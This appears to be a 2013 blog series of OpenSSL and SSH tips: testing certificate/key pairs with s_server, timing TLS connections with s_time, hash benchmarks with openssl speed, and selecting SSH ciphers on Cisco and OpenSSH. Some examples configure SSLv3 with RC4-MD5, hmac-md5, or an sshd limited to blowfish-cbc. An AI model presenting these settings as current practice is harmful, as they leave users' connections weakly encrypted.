Password:
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT
SSL_accept:before/accept initialization
SSL_accept:SSLv3 read client hello A
SSL_accept:SSLv3 write server hello A
SSL_accept:SSLv3 write certificate A
SSL_accept:SSLv3 write key exchange A
SSL_accept:SSLv3 write server done A
SSL_accept:SSLv3 flush data
SSL_accept:SSLv3 read client key exchange A
SSL_accept:SSLv3 read finished A
SSL_accept:SSLv3 write session ticket A
SSL_accept:SSLv3 write change cipher spec A
SSL_accept:SSLv3 write finished A
SSL_accept:SSLv3 flush data
SSL3 alert read:warning:close notify
ACCEPT
SSL_accept:before/accept initialization
SSL_accept:SSLv3 read client hello A
SSL_accept:SSLv3 write server hello A
SSL_accept:SSLv3 write certificate A
SSL_accept:SSLv3 write key exchange A
SSL_accept:SSLv3 write server done A
SSL_accept:SSLv3 flush data
SSL_accept:SSLv3 read client key exchange A
SSL_accept:SSLv3 read finished A
SSL_accept:SSLv3 write session ticket A
SSL_accept:SSLv3 write change cipher spec A
SSL_accept:SSLv3 write finished A
SSL_accept:SSLv3 flush data
ACCEPT



And finally, you can control the server ciphers and  ssl protocol type ( tls  vrs  ssl ). You might want to do this, if you restrict the server to a cipher specific listing and want to test functionality;

sh-3.2$ sudo openssl s_server -key www.key -cert webserver.crt -www  -port 443 -ssl3 -cipher RC4-MD5
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT


and



Okay to recap, the s_server allows us to test certificates and keys, and to validate the ssl function.

Son in a few of my past roles, we always run into that web-developer, or the security guy doing ssl-inspection, and when he/she has problems, they always either blame the network, server or certificate.

With s_server, you can validate the certificate/key, and dis-prove any function discrepancies with the certificate/key.

I also like doing the above, when customer give me an unknown  cert/key of an questionablebackground, and I have doubts or faith in the certificate/key combo.

But I will warn you, if you can read-in a certificate  &  from  the cmd line with openssl x509 -in "certificate name", than 9 out of 10 times, the cert is going to work. But that process alone,  does not validate the server  private-key.

Where I seen the biggest issues at,  was when I did ssl-inspections and clients gave me the wrong key for the certificate. And in some appliances, it's a bear or challenging to  remove improper cert/key combos. Openssl s_server can easily test and eliminate these problems before installation & setup.

This last examples, show 2 instance of the wrong key being used;  with  a certificate , and one  that challenges for the passpharses that was left in a key.

note: You probably don't want this, due to http-servers daemons, would not load the key until you  input the passphrase

So once again , the s_server can identifiy that issues , before it becomes an issues. :


i.e

sh-3.2$ sudo openssl s_server -key mykey.key -cert webserver.crt -www  -port 443
Password:
Using default temp DH parameters
Using default temp ECDH parameters
error setting private key
3344:error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch:/SourceCache/OpenSSL098/OpenSSL098-35.1/src/crypto/x509/x509_cmp.c:406:



sh-3.2$ sudo openssl s_server -key server.key -cert webserver.crt -www  -port 443
Enter pass phrase for server.key:
Using default temp DH parameters
Using default temp ECDH parameters
error setting private key
3350:error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch:/SourceCache/OpenSSL098/OpenSSL098-35.1/src/crypto/x509/x509_cmp.c:406:
sh-3.2$



So if you dealing with the real world, and some it ITshop gives you a cert/key and  it either;

  • doesn't work
  • give you a host of problems
  • or you have doubts


Test it with Openssl and with the  s_server option.

I hope this post has been helpful,  and entertaining

Ken Felix
Freelance Network/Security Engineer

kfelix a-t hyperfeed d-o-t com



Wednesday, April 3, 2013

OpenSSL trick #2 s_time

Openssl allows you  to benchmark server response time use openssl s_time. The cmd is simple to use and provides very good statistics & for evaluating buggy or suspected web-servers, that might have a SSL issues.

Take this for example;

patrick01:~ ken1$ openssl s_time -www /knowledge-center-dos-and-ddos-attack-reports.html  -connect www.website.com:443No CIPHER specified
Collecting connection statistics for 30 seconds
tttttttttttttttttttttttttttttttttttttttttttttttttttttt

54 connections in 0.07s; 771.43 connections/user sec, bytes read 7074
54 connections in 31 real seconds, 131 bytes read per connection


Now timing with session id reuse.
starting
rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

51 connections in 0.02s; 2550.00 connections/user sec, bytes read 6681
51 connections in 31 real seconds, 131 bytes read per connection


We've  benchmark the connections at  this  particular DoS mitigation website. Now let's do it again, but this time using a specific cipher;

patrick01:~ ken1$ openssl s_time -cipher RC4-MD5  -www /knowledge-center-dos-and-ddos-attack-reports.html  -connect www.website.com:443
Collecting connection statistics for 30 seconds
ttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt

67 connections in 0.09s; 744.44 connections/user sec, bytes read 8777
67 connections in 31 real seconds, 131 bytes read per connection


Now timing with session id reuse.
starting
rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

57 connections in 0.02s; 2850.00 connections/user sec, bytes read 7467
57 connections in 31 real seconds, 131 bytes read per connection


So we see with rivest cipher-md5 the performance numbers are different. We can extend that time value with the -time option.

patrick01:~ ken1$ openssl s_time  -time 60 -cipher RC4-MD5  -www /knowledge-center-dos-and-ddos-attack-reports.html  -connect www.website.com:443 Collecting connection statistics for 60 seconds
tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt

138 connections in 0.17s; 811.76 connections/user sec, bytes read 18078
138 connections in 61 real seconds, 131 bytes read per connection


Now timing with session id reuse.
starting
rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

117 connections in 0.04s; 2925.00 connections/user sec, bytes read 15327
117 connections in 61 real seconds, 131 bytes read per connection


Typically, one use these cmds to benchmark newly configured servers, and by conduct thing tests on the localhost and via the localhost address { 127.0.0.1 }. And to determine  connections/per-sec based on cipher options.

You will find out typically SSL offloading for https web-sites, are typcially faster when using a server-load-balancer aka reverse-proxy.

By default we conduct 2 series of test with both  new and then finally reuse your session-id, but you can  specify the later with the -new option only or -reuse.


patrick01:~ ken1$ openssl s_time  -reuse -time 60 -cipher RC4-MD5  -www /knowledge-center-dos-and-ddos-attack-reports.html  -connect www.prolexic.com:443

Now timing with session id reuse.
starting
rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

108 connections in 0.03s; 3600.00 connections/user sec, bytes read 14148
108 connections in 61 real seconds, 131 bytes read per connection



Here's a list of the options for s_time;
  • -connect host:port - host:port to connect to (default is localhost:4433)
  • -nbio         - Run with non-blocking IO
  • -ssl2         - Just use SSLv2
  • -ssl3         - Just use SSLv3
  • -bugs         - Turn on SSL bug compatibility
  • -new          - Just time new connections
  • -reuse        - Just time connection reuse
  • -www page     - Retrieve 'page' from the site
  • -time arg     - max number of seconds to collect data, default 30
  • -verify arg   - turn on peer certificate verification, arg == depth
  • -cert arg     - certificate file to use, PEM format assumed
  • -key arg      - RSA file to use, PEM format assumed, key is in cert file
  •                 file if not specified by this option
  • -CApath arg   - PEM format directory of CA's
  • -CAfile arg   - PEM format file of CA's
  • -cipher       - preferred cipher to use, play with 'openssl ciphers'

Openssl tip#2, I hope you found this interesting.

Ken Felix
Freelance Network & Security Engineer hacking around for the last 18+ years.

kfelix a-t hyperfeed d-o-t com








Monday, April 1, 2013

OpenSSL tricks #1 speed


In this next post we will take a quick look at various openssl  tips and tricks, starting with the means to benchmark your systems speed  for hash computations.

Openssl allows for you  compute the performance using set size  blocks and the result speed. You can specify the hash type that your trying to test.

( sha1)

sh-3.2$ openssl speed sha1
To get the most accurate results, try to run this
program when this computer is idle.
Doing sha1 for 3s on 16 size blocks: 6611488 sha1's in 3.00s
Doing sha1 for 3s on 64 size blocks: 4866401 sha1's in 3.00s
Doing sha1 for 3s on 256 size blocks: 2713480 sha1's in 3.00s
Doing sha1 for 3s on 1024 size blocks: 978991 sha1's in 3.00s
Doing sha1 for 3s on 8192 size blocks: 140037 sha1's in 3.00s
OpenSSL 0.9.8r 8 Feb 2011
built on: Jun 22 2012
options:bn(64,64) md2(int) rc4(ptr,char) des(idx,cisc,16,int) aes(partial) blowfish(ptr2)
compiler: -arch x86_64 -fmessage-length=0 -pipe -Wno-trigraphs -fpascal-strings -fasm-blocks -O3 -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DL_ENDIAN -DMD32_REG_T=int -DOPENSSL_NO_IDEA -DOPENSSL_PIC -DOPENSSL_THREADS -DZLIB -mmacosx-version-min=10.6
available timing options: TIMEB USE_TOD HZ=100 [sysconf value]
timing function used: getrusage
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
sha1             35275.61k   103884.98k   231583.56k   334159.59k   382361.99k
sh-3.2$


and now md5

(md5)

sh-3.2$ openssl speed  md5
To get the most accurate results, try to run this
program when this computer is idle.
Doing md5 for 3s on 16 size blocks: 6481795 md5's in 3.00s
Doing md5 for 3s on 64 size blocks: 5063089 md5's in 3.00s
Doing md5 for 3s on 256 size blocks: 2923746 md5's in 3.00s
Doing md5 for 3s on 1024 size blocks: 1089206 md5's in 3.00s
Doing md5 for 3s on 8192 size blocks: 158854 md5's in 3.00s
OpenSSL 0.9.8r 8 Feb 2011
built on: Jun 22 2012
options:bn(64,64) md2(int) rc4(ptr,char) des(idx,cisc,16,int) aes(partial) blowfish(ptr2)
compiler: -arch x86_64 -fmessage-length=0 -pipe -Wno-trigraphs -fpascal-strings -fasm-blocks -O3 -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DL_ENDIAN -DMD32_REG_T=int -DOPENSSL_NO_IDEA -DOPENSSL_PIC -DOPENSSL_THREADS -DZLIB -mmacosx-version-min=10.6
available timing options: TIMEB USE_TOD HZ=100 [sysconf value]
timing function used: getrusage
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
md5              34567.84k   108011.70k   249472.95k   371762.61k   433800.60k
sh-3.2$



If you run the cmd with no hash method specified, it will walk thru all of the hash methods supported;

( output shorten for obvious reasons )


sh-3.2$ openssl speed 
To get the most accurate results, try to run this
program when this computer is idle.
Doing md2 for 3s on 16 size blocks: 444187 md2's in 3.00s
Doing md2 for 3s on 64 size blocks: 228510 md2's in 3.00s
Doing md2 for 3s on 256 size blocks: 77796 md2's in 3.00s
Doing md2 for 3s on 1024 size blocks: 21382 md2's in 3.00s
Doing md2 for 3s on 8192 size blocks: 2753 md2's in 3.00s
Doing mdc2 for 3s on 16 size blocks: 2369292 mdc2's in 3.00s
Doing mdc2 for 3s on 64 size blocks: 657315 mdc2's in 3.00s
Doing mdc2 for 3s on 256 size blocks: 168804 mdc2's in 3.00s
Doing mdc2 for 3s on 1024 size blocks: 42587 mdc2's in 3.00s
Doing mdc2 for 3s on 8192 size blocks: 5338 mdc2's in 3.00s
Doing md4 for 3s on 16 size blocks: 8357016 md4's in 3.00s
Doing md4 for 3s on 64 size blocks: 6830724 md4's in 3.00s
Doing md4 for 3s on 256 size blocks: 4297857 md4's in 3.00s
Doing md4 for 3s on 1024 size blocks: 1733698 md4's in 3.00s
Doing md4 for 3s on 8192 size blocks: 263225 md4's in 3.00s
Doing md5 for 3s on 16 size blocks: 6666231 md5's in 3.00s
Doing md5 for 3s on 64 size blocks: 5145271 md5's in 3.00s
Doing md5 for 3s on 256 size blocks: 2962906 md5's in 3.00s
Doing md5 for 3s on 1024 size blocks: 1098573 md5's in 3.00s
Doing md5 for 3s on 8192 size blocks: 160164 md5's in 3.00s
Doing hmac(md5) for 3s on 16 size blocks: 7285347 hmac(md5)'s in 3.00s
Doing hmac(md5) for 3s on 64 size blocks: 5488568 hmac(md5)'s in 3.00s
Doing hmac(md5) for 3s on 256 size blocks: 3071065 hmac(md5)'s in 3.00s
Doing hmac(md5) for 3s on 1024 size blocks: 1116618 hmac(md5)'s in 3.00s
Doing hmac(md5) for 3s on 8192 size blocks: 160548 hmac(md5)'s in 3.00s
Doing sha1 for 3s on 16 size blocks: 6620368 sha1's in 3.00s
Doing sha1 for 3s on 64 size blocks: 4863945 sha1's in 3.00s
Doing sha1 for 3s on 256 size blocks: 2707978 sha1's in 3.00s
Doing sha1 for 3s on 1024 size blocks: 980245 sha1's in 3.00s
Doing sha1 for 3s on 8192 size blocks: 140349 sha1's in 3.00s
Doing sha256 for 3s on 16 size blocks: 4367748 sha256's in 3.00s
Doing sha256 for 3s on 64 size blocks: 2594433 sha256's in 3.00s
Doing sha256 for 3s on 256 size blocks: 1166012 sha256's in 3.00s
Doing sha256 for 3s on 1024 size blocks: 364956 sha256's in 3.00s
Doing sha256 for 3s on 8192 size blocks: 49342 sha256's in 3.00s
Doing sha512 for 3s on 16 size blocks: 3240386 sha512's in 3.00s
Doing sha512 for 3s on 64 size blocks: 3225174 sha512's in 3.00s
Doing sha512 for 3s on 256 size blocks: 1414777 sha512's in 3.00s
Doing sha512 for 3s on 1024 size blocks: 526105 sha512's in 3.00s
Doing sha512 for 3s on 8192 size blocks: 76704 sha512's in 3.00s
Doing rmd160 for 3s on 16 size blocks: 5852085 rmd160's in 3.00s
Doing rmd160 for 3s on 64 size blocks: 4049177 rmd160's in 3.00s
Doing rmd160 for 3s on 256 size blocks: 2107866 rmd160's in 3.00s
Doing rmd160 for 3s on 1024 size blocks: 723159 rmd160's in 3.00s
Doing rmd160 for 3s on 8192 size blocks: 101501 rmd160's in 3.00s
Doing rc4 for 3s on 16 size blocks: 67246325 rc4's in 3.00s
Doing rc4 for 3s on 64 size blocks: 17455067 rc4's in 3.00s
Doing rc4 for 3s on 256 size blocks: 4399092 rc4's in 3.00s
Doing rc4 for 3s on 1024 size blocks: 1106588 rc4's in 3.00s
Doing rc4 for 3s on 8192 size blocks: 137222 rc4's in 3.00s
Doing des cbc for 3s on 16 size blocks: 11800654 des cbc's in 3.00s
Doing des cbc for 3s on 64 size blocks: 3038789 des cbc's in 3.00s

I hope this information was helpful.

Ken Felix
Freelance Network/Security Engineer



ssh and ciphers tips/tricks


In this post we will look at how to change ssh encryption ciphers and how to determine what the remote host supports.


Here’s a snippet from log buffer from a cisco  IOS router that has ssh logging enabled
( ip ssh logging events )

(AES128)
Apr  1 13:31:16.433 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 0) using crypto cipher 'aes128-cbc', hmac 'hmac-md5' Succeeded
Apr  1 13:31:19.877 UTC: %SSH-5-SSH2_USERAUTH: User 'kfelix' authentication for SSH2 Session from 192.0.2.1(tty = 0) using crypto cipher 'aes128-cbc', hmac 'hmac-md5' Succeeded

(3DES)
Apr  1 13:33:52.922 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 1) using crypto cipher '3des-cbc', hmac 'hmac-md5' Succeeded
Apr  1 13:33:56.366 UTC: %SSH-5-SSH2_USERAUTH: User 'kfelix' authentication for SSH2 Session from 192.0.2.1(tty = 1) using crypto cipher '3des-cbc', hmac 'hmac-md5' Succeeded

(AES192)

Apr  1 13:39:00.288 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 1) using crypto cipher 'aes192-cbc', hmac 'hmac-md5' Succeeded

Apr  1 13:39:03.616 UTC: %SSH-5-SSH2_USERAUTH: User 'kfelix' authentication for SSH2 Session from 192.0.2.1(tty = 1) using crypto cipher 'aes192-cbc', hmac 'hmac-md5' Succeeded



(AES256)

Apr  1 13:40:01.484 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 1) using crypto cipher 'aes256-cbc', hmac 'hmac-md5' Succeeded

Apr  1 13:40:04.888 UTC: %SSH-5-SSH2_USERAUTH: User 'kfelix' authentication for SSH2 Session from 192.0.2.1(tty = 1) using crypto cipher 'aes256-cbc', hmac 'hmac-md5' Succeeded



And if you specify a cipher that’s not supported you will get the following;

Apr  1 13:35:17.543 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 1) using crypto cipher '', hmac '' Failed
Apr  1 13:35:17.543 UTC: %SSH-5-SSH2_CLOSE: SSH2 Session from 192.0.2.1(tty = 1) for user '' using crypto cipher '', hmac '' closed
Apr  1 13:35:34.475 UTC: %SSH-5-SSH2_SESSION: SSH2 Session request from 192.0.2.1(tty = 1) using crypto cipher '', hmac '' Failed
Apr  1 13:35:34.475 UTC: %SSH-5-SSH2_CLOSE: SSH2 Session from 192.0.2.1(tty = 1) for user '' using crypto cipher '', hmac '' closed

Okay so how did we change  our ssh client cipher? Easy we used the “-c <cipher>”  option;

ssh -c aes192-cbc 192.0.2.222

The above would used a 192 bit key. Now is bigger always better is a decision you have to make :)

Also with ssh & depending on the server, we might support the close 2nd place contender,  in the cook off for the new encryption standard proposal,  ( blowfish )

guadal:~ kfelix$ ssh -c blowfish-cbc 127.0.0.1
Password:
Password:
Last login: Mon Apr  1 09:33:39 2013

See how easy it is to change the ciphers ?

So remember you have choices for supported ciphers. With cisco, the end device ios version, platform type and model-type, will determine what’s supported. But 3des, aes128 and aes256 are the most common.

From my experience, most cisco  routers do not support blowfish and this is also hit and miss with  JunOS.

To control the support cipher type within Linux ( unix ) and those that use OpenSSH, it’s quite easy. You specify the Cipher and the cipher list in your sshd_config.



e.g ( from the man pages )

Ciphers      Specifies the ciphers allowed for protocol version 2.  Multiple          ciphers must be comma-separated.  The supported ciphers are               "3des-cbc", "aes128-cbc", "aes192-cbc", "aes256-cbc",           "aes128-ctr", "aes192-ctr", "aes256-ctr", "arcfour128",         "arcfour256", "arcfour", "blowfish-cbc", and "cast128-cbc". 

The           default is         ''aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,                    aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,                    aes256-cbc,arcfour''



Here's how I changed my server to only support sshd and with the  blowfish cipher;


Echo “Ciphers blowfish-cbc,” >> sshd_config

And

cat sshd*config | grep Ciphers
Ciphers blowfish-cbc,


And now if I try anything but blowfish, it will fail;


PETRA01:~ kfelix$ ssh -c aes128-cbc 127.0.0.1
no matching cipher found: client aes128-cbc server blowfish-cbc,
PETRA01:~ kfelix$ ssh -c 3des-cbc 127.0.0.1
no matching cipher found: client 3des-cbc server blowfish-cbc,

but  with blowfish works;


PETRA01:~ kfelix$ ssh -c blowfish-cbc 127.0.0.1
Password:
Password:
Last login: Mon Apr  1 09:59:12 2013 from localhost
PETRA01:~ kfelix$

So if your having a problem with SSH access, then change the client cipher or find out what the server supports.

more can be found here;

http://www.openssh.org/features.html

note:You can  also use tshark/wireshark and the display filters for monitoring of cipher exchanges.

ssh.compression_algorithms_server_to_client
ssh.compression_algorithms_client_to_server


SSH Protocol
    SSH Version 2 (encryption:aes128-ctr mac:hmac-md5 compression:none)
        Packet Length: 700
        Padding Length: 7
        Key Exchange
            Msg code: Key Exchange Init (20)
            Algorithms
                Cookie: 8f542d94233f82d8bb80452e4cfe6e21
                kex_algorithms length: 89
                kex_algorithms string: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
                server_host_key_algorithms length: 15
                server_host_key_algorithms string: ssh-rsa,ssh-dss
                encryption_algorithms_client_to_server length: 157
                encryption_algorithms_client_to_server string: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se
                encryption_algorithms_server_to_client length: 157
                encryption_algorithms_server_to_client string: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se
                mac_algorithms_client_to_server length: 85
                mac_algorithms_client_to_server string: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
                mac_algorithms_server_to_client length: 85
                mac_algorithms_server_to_client string: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
                compression_algorithms_client_to_server length: 21
                compression_algorithms_client_to_server string: none,zlib@openssh.com
                compression_algorithms_server_to_client length: 21
                compression_algorithms_server_to_client string: none,zlib@openssh.com
                languages_client_to_server length: 0
                languages_server_to_client length: 0
                KEX First Packet Follows: 0
                Reserved: 00000000
            Padding String: 00000000000000

Ken Felix
Freelance Network/Security Engineer
Kfelix a-t hyperfeed  d-o-t com